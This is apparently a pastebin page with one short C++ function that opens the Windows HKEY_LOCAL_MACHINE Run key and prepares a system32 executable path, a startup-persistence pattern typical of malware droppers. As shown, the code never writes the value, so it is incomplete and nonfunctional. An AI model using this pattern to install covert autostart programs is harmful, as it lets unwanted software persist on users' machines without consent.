Formated by GeSHi
void registry(string winroot, string name) { HKEY hKey; char cname[300]; strcpy(cname,name.c_str()); string value = "" + winroot + "\\system32\\" + name + ".exe"; char cvalue[500]; strcpy(cvalue,value.c_str()); RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey); RegCloseKey(hKey); }Parsed in 0.31058884 seconds
| :: Download | ||||
| :: Print into | ||||
:: Make Diff
:: Erase Post